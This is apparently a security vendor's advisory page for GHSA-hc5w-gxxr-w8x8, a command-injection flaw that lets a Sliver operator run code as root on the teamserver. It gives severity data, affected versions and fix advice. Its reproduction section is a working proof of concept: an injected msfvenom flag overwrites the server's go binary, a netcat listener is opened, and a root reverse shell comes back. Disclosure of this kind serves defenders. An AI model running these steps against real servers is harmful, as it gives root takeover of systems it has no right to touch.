GHSA-hc5w-gxxr-w8x8 is a high-severity (CVSS 8.8) CWE-74 vulnerability in github.com/bishopfox/sliver. A fix is available for github.com/bishopfox/sliver — see the affected versions and patch details below.
Sliver Allows Authenticated Operator-to-Server Remote Code Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-hc5w-gxxr-w8x8.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-hc5w-gxxr-w8x8 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/bishopfox/sliverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Description
Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user.
Impact
As described in a past issue, "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server.
Reproduction
First configure the Sliver server in multiplayer mode and add an operator profile.
Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags.
git checkout 5016fb8d
VERSION=1.6.0 make client
The latest server version is targeted:
All hackers gain exalted
[*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba
[*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57
[*] Welcome to the sliver shell, please type 'help' for options`
The exploit uses a command injection in the generate msf-stager to inject the --out flag to msfvenom. We overwrite Sliver's own go binary at /root/.sliver/go/bin/go:
sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go
[*] Sliver implant stager saved to: [...]
The other injected flags are to force a Linux payload, and not necessary if running the Sliver server on Windows.
If you check the saved implant locally on the client, it's 0 bytes as the output got written to the file on the server instead.
On the attacking machine, setup a netcat shell:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Trigger the stager by running a command which executes /root/.sliver/go/bin/go:
sliver > generate beacon --mtls 1.2.3.4
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
⠼ Compiling, please wait ...
A root shell will pop:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 192.168.0.183 39238
whoami
root
The vulnerable code was introduced in https://github.com/BishopFox/sliver/pull/1281
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/bishopfox/sliver | ≥ 1.5.40&&< 1.6.0 | 1.6.0go get github.com/bishopfox/sliver@v1.6.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/bishopfox/sliver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/bishopfox/sliver to 1.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hc5w-gxxr-w8x8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-hc5w-gxxr-w8x8 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-hc5w-gxxr-w8x8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hc5w-gxxr-w8x8 in your dependencies?
O3 Security finds GHSA-hc5w-gxxr-w8x8 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.